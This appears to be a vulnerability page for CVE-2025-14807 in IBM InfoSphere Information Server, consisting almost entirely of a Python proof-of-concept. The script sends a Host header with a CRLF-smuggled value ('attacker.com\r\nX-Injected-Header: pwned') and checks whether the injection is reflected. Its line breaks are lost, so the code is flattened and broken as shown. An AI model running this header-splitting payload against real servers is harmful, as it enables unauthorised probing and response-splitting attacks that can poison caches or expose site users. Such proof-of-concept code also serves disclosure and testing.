CVE-2025-14807 IBM InfoSphere HTTP头注入漏洞

import requests def check_vulnerability(target_url): """ PoC for CVE-2025-14807: IBM InfoSphere Information Server Host Header Injection """ # Malicious Host header attempting to inject CRLF or XSS # This payload tries to inject a fake header or script malicious_host = "attacker.com\r\nX-Injected-Header: pwned" headers = { "Host": malicious_host, "User-Agent": "CVE-2025-14807-Scanner" } try: response = requests.get(target_url, headers=headers, timeout=10) # Check if the injected header appears in the response headers or body if "X-Injected-Header" in response.headers: return "[+] Vulnerability Confirmed: HTTP Header Splitting detected." elif "attacker.com" in response.text: return "[+] Potential Vulnerability: Host header reflected in response." else: return "[-] Vulnerability not detected." except requests.exceptions.RequestException as e: return f"[!] Error connecting to target: {e}" if __name__ == "__main__": target = "http://target-infosphere-server.com/" print(check_vulnerability(target))